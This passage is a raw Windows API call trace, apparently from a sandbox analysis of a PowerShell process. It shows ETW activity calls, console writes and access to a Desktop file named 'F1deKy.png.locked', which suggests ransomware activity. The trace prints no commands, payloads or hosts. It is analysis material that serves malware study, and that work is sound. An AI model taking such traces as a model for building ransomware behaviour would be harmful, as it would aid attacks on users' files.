Data2=0xae34, Data3=0x0, Data4=([0]=0xd1, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.721] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd2, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd2, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.723] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd2, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.723] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5e8, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.723] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd3, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.723] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd2, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.723] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd3, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd3, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.725] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd3, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.725] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5e8, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.725] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd4, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.725] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd3, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.725] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd4, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd4, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.727] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd4, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.727] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5e8, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.727] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd5, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.727] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd4, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.727] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd5, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd5, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.729] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd5, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.734] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x99adee0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0126.734] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae058) returned 1 [0126.734] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\f1deky.png.locked"), fInfoLevelId=0x0, lpFileInformation=0x6b4b694 | out: lpFileInformation=0x6b4b694*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec04c61, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0xec04c61, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0xec04c61, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x8854)) returned 1 [0126.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae054) returned 1 [0126.735] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png.locked", nBufferLength=0x105, lpBuffer=0x99adb34, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png.locked", lpFilePart=0x0) returned 0x44 [0126.735] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\f1deky.png.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x878 [0126.735] GetFileInformationByHandle (in: hFile=0x878, lpFileInformation=0x99ae0a0 | out: lpFileInformation=0x99ae0a0) returned 1 [0126.735] CloseHandle (hObject=0x878) returned 1 [0126.736] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae710 | out: lpConsoleScreenBufferInfo=0x99ae710) returned 1 [0126.738] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae718 | out: lpMode=0x99ae718) returned 1 [0126.742] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68c0ccc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae710, lpReserved=0x0 | out: lpBuffer=0x68c0ccc*, lpNumberOfCharsWritten=0x99ae710*=0x2) returned 1 [0126.748] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae6b4 | out: lpConsoleScreenBufferInfo=0x99ae6b4) returned 1 [0126.748] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae708 | out: lpConsoleScreenBufferInfo=0x99ae708) returned 1 [0126.749] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae710 | out: lpMode=0x99ae710) returned 1 [0126.749] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68c0ccc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae708, lpReserved=0x0 | out: lpBuffer=0x68c0ccc*, lpNumberOfCharsWritten=0x99ae708*=0x2) returned 1 [0126.752] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae718 | out: lpConsoleScreenBufferInfo=0x99ae718) returned 1 [0126.759] GetConsoleOutputCP () returned 0x1b5 [0126.760] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0126.760] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae568 | out: lpConsoleScreenBufferInfo=0x99ae568) returned 1 [0126.760] GetConsoleOutputCP () returned 0x1b5 [0126.760] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae504, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae504) returned 0 [0126.760] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae570 | out: lpMode=0x99ae570) returned 1 [0126.761] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6b770fc*, nNumberOfCharsToWrite=0x41, lpNumberOfCharsWritten=0x99ae568, lpReserved=0x0 | out: lpBuffer=0x6b770fc*, lpNumberOfCharsWritten=0x99ae568*=0x41) returned 1 [0126.761] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae570 | out: lpMode=0x99ae570) returned 1 [0126.761] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68c0ccc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae568, lpReserved=0x0 | out: lpBuffer=0x68c0ccc*, lpNumberOfCharsWritten=0x99ae568*=0x2) returned 1 [0126.765] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae670 | out: lpConsoleScreenBufferInfo=0x99ae670) returned 1 [0126.766] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae678 | out: lpMode=0x99ae678) returned 1 [0126.766] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68c0ccc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae670, lpReserved=0x0 | out: lpBuffer=0x68c0ccc*, lpNumberOfCharsWritten=0x99ae670*=0x2) returned 1 [0126.769] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae708 | out: lpConsoleScreenBufferInfo=0x99ae708) returned 1 [0126.790] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae710 | out: lpMode=0x99ae710) returned 1 [0126.826] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68c0ccc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae708, lpReserved=0x0 | out: lpBuffer=0x68c0ccc*, lpNumberOfCharsWritten=0x99ae708*=0x2) returned 1 [0126.873] GetConsoleOutputCP () returned 0x1b5 [0126.920] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae528, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae528) returned 0 [0126.920] GetConsoleOutputCP () returned 0x1b5 [0127.115] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5c0) returned 0 [0127.115] GetConsoleOutputCP () returned 0x1b5 [0127.160] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0127.160] GetConsoleOutputCP () returned 0x1b5 [0127.168] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0127.168] GetConsoleOutputCP () returned 0x1b5 [0127.168] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae528, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae528) returned 0 [0127.168] GetConsoleOutputCP () returned 0x1b5 [0127.169] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5c0) returned 0 [0127.169] GetConsoleOutputCP () returned 0x1b5 [0127.169] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0127.169] GetConsoleOutputCP () returned 0x1b5 [0127.169] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0127.170] GetConsoleOutputCP () returned 0x1b5 [0127.170] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae528, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae528) returned 0 [0127.170] GetConsoleOutputCP () returned 0x1b5 [0127.170] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5c0) returned 0 [0127.170] GetConsoleOutputCP () returned 0x1b5 [0127.171] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0127.171] GetConsoleOutputCP () returned 0x1b5 [0127.171] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0127.171] GetConsoleOutputCP () returned 0x1b5 [0127.172] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae528, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae528) returned 0 [0127.172] GetConsoleOutputCP () returned 0x1b5 [0127.172] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5c0) returned 0 [0127.172] GetConsoleOutputCP () returned 0x1b5 [0127.173] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0127.173] GetConsoleOutputCP () returned 0x1b5 [0127.173] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae59c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae59c) returned 0 [0127.173] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae664 | out: lpConsoleScreenBufferInfo=0x99ae664) returned 1 [0127.174] GetConsoleOutputCP () returned 0x1b5 [0127.174] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae600, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae600) returned 0 [0127.174] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae66c | out: lpMode=0x99ae66c) returned 1 [0127.175] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6907060*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae664, lpReserved=0x0 | out: lpBuffer=0x6907060*, lpNumberOfCharsWritten=0x99ae664*=0x77) returned 1 [0127.176] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae66c | out: lpMode=0x99ae66c) returned 1 [0127.177] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae664, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae664*=0x2) returned 1 [0127.181] GetConsoleOutputCP () returned 0x1b5 [0127.182] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae660, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae660) returned 0 [0127.182] GetConsoleOutputCP () returned 0x1b5 [0127.182] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae660, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae660) returned 0 [0127.182] GetConsoleOutputCP () returned 0x1b5 [0127.182] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae660, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae660) returned 0 [0127.182] GetConsoleOutputCP () returned 0x1b5 [0127.183] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae660, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae660) returned 0 [0127.183] GetConsoleOutputCP () returned 0x1b5 [0127.183] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0127.183] GetConsoleOutputCP () returned 0x1b5 [0127.184] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0127.184] GetConsoleOutputCP () returned 0x1b5 [0127.184] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0127.184] GetConsoleOutputCP () returned 0x1b5 [0127.184] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0127.184] GetConsoleOutputCP () returned 0x1b5 [0127.185] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0127.185] GetConsoleOutputCP () returned 0x1b5 [0127.185] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0127.185] GetConsoleOutputCP () returned 0x1b5 [0127.186] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0127.186] GetConsoleOutputCP () returned 0x1b5 [0127.186] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5ec) returned 0 [0127.186] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae664 | out: lpConsoleScreenBufferInfo=0x99ae664) returned 1 [0127.186] GetConsoleOutputCP () returned 0x1b5 [0127.187] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae600, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae600) returned 0 [0127.187] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae66c | out: lpMode=0x99ae66c) returned 1 [0127.187] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6907ab8*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae664, lpReserved=0x0 | out: lpBuffer=0x6907ab8*, lpNumberOfCharsWritten=0x99ae664*=0x77) returned 1 [0127.187] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae66c | out: lpMode=0x99ae66c) returned 1 [0127.188] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae664, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae664*=0x2) returned 1 [0127.193] GetConsoleOutputCP () returned 0x1b5 [0127.193] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0127.193] GetConsoleOutputCP () returned 0x1b5 [0127.194] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0127.194] GetConsoleOutputCP () returned 0x1b5 [0127.194] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0127.194] GetConsoleOutputCP () returned 0x1b5 [0127.195] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0127.195] GetConsoleOutputCP () returned 0x1b5 [0127.195] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0127.195] GetConsoleOutputCP () returned 0x1b5 [0127.196] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0127.196] GetConsoleOutputCP () returned 0x1b5 [0127.196] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0127.196] GetConsoleOutputCP () returned 0x1b5 [0127.196] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0127.196] GetConsoleOutputCP () returned 0x1b5 [0127.197] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0127.197] GetConsoleOutputCP () returned 0x1b5 [0127.197] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0127.197] GetConsoleOutputCP () returned 0x1b5 [0127.198] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0127.198] GetConsoleOutputCP () returned 0x1b5 [0127.198] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0127.198] GetConsoleOutputCP () returned 0x1b5 [0127.198] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0127.198] GetConsoleOutputCP () returned 0x1b5 [0127.199] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0127.199] GetConsoleOutputCP () returned 0x1b5 [0127.199] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0127.199] GetConsoleOutputCP () returned 0x1b5 [0127.199] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0127.199] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae69c | out: lpConsoleScreenBufferInfo=0x99ae69c) returned 1 [0127.200] GetConsoleOutputCP () returned 0x1b5 [0127.200] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae638, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae638) returned 0 [0127.200] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae6a4 | out: lpMode=0x99ae6a4) returned 1 [0127.201] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x69098a4*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae69c, lpReserved=0x0 | out: lpBuffer=0x69098a4*, lpNumberOfCharsWritten=0x99ae69c*=0x77) returned 1 [0127.201] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae6a4 | out: lpMode=0x99ae6a4) returned 1 [0127.201] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae69c, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae69c*=0x2) returned 1 [0127.206] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee08*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee08*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd5, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.206] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc7, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc7, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.206] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", 